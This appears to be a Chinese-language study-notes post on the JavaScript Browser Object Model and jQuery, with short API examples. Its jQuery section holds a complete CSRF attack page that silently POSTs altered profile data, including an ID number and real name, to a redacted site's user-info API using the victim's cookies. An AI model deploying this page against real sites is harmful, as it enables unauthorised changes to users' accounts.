Abstract: JS BOM和jQuery,以及php环境的搭建

1. JS BOM

BOM全名Browser Object Model,即浏览器对象模型。

  • Window方法

    1
    2
    3
    4
    5
    6
    7
    8
    #打开新窗口
    window.open()
    #关闭当前窗口
    window.close()
    #移动当前窗口
    window.moveTo()
    #调整当前窗口的尺寸
    window.resizeTo()
  • Screen屏幕

    1
    2
    3
    4
    #可用的屏幕宽度
    screen.availWidth
    #可用的屏幕高度
    screen.availHeight
  • Location

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #web主机的域名
    location.hostname
    #当前页面的路径和文件名
    location.pathname
    #web主机的端口(80和443)
    location.port
    #使用的web协议(http或https)
    location.protocol
    #返回当前页面的URL(也可以用作跳转)
    location.href
    #返回URL的路径名
    location.pathname
    #加载新的文档
    location.assign
  • History

    1
    2
    3
    4
    #与在浏览器点击后退按钮相同
    history.back()
    #与在浏览器点击向前按钮相同
    history.forward()
  • Navigator

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <html>
    <head>
    <meta charset="utf-8">
    <title>navigator用法</title>
    </head>
    <body>
    <div id="example"></div>
    <script>
    txt = "<p>浏览器代号:" + navigator.appCodeName + "</p>";
    txt += "<p>浏览器名称:" + navigator.appName + "</p>";
    txt += "<p>浏览器版本:" + navigator.appVersion + "</p>";
    txt += "<p>启用Cookies: " + navigator.cookieEnabled + "</p>";
    txt += "<p>硬件平台:" + navigator.platform + "</p>";
    txt += "<p>用户代理:" + navigator.userAgent + "</p>";
    txt += "<p>用户代理语言:" + navigator.systemLanguage + "</p>";
    document.getElementById("example").innerHTML = txt;
    </script>
    </body>
    </html>
  • 弹窗

    1
    2
    3
    4
    5
    6
    #警告框
    window.alert("sometext")
    #确认框
    window.confirm("sometext")
    #提示框
    window.prompt("sometext", "defaultvalue")
  • 计时

    1
    2
    3
    4
    5
    6
    7
    8
    #间隔指定的毫秒数不停的执行指定代码
    window.setInterval("javascript function", milliseconds)
    #停止setInterval()方法执行的函数代码
    window.clearInterval(intervalVariable)
    #第二个参数指示从当前起多少毫秒后执行第一个参数
    window.setTimeout("js function", milliseconds)
    #用于停止执行setTimeout()方法的函数代码
    window.clearTimeout(timeoutVariable)
  • Cookie

    cookie是一些数据,存储于电脑上的文本文件中。当web服务器向浏览器发送web页面时,在连接关闭后,服务端不会记录用户信息。

    cookie的作用就是用于解决“如何记录客户端的用户信息”

    1
    2
    * 当用户访问web页面时,他的名字可以记录在cookie中
    * 在用户下一次访问该页面时,可以在cookie中读取用户访问记录
    1
    2
    3
    4
    #创建cookie
    document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
    #读取cookie
    var x = document.cookie;

2. JQuery

​ 内容比较细碎,多看看jQuery教程

​ 使用jQuery对***账户进行CSRF攻击,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>hack***</title>
<script src="https://libs.baidu.com/jquery/2.0.0/jquery.js"></script>
</head>
<body>
<script type="text/javascript">

$.ajax({
type:'POST',
url:"http://www.***.com/api/user/info",
dataType:'json',
data: {
allow_status:"1",
heading:"",
id_number:"123456789123456789",
nickname:"wangyingminghanpi",
real_name:"本币",
user_tag:'[]',
},
xhrFields:{
withCredentials:true //支持附带详细信息,可以携带cookie
},
crossDomain: true,//请求偏向外域,支持跨域请求
success: function (data) {
console.log(data);
}

});

</script>
</body>
</html>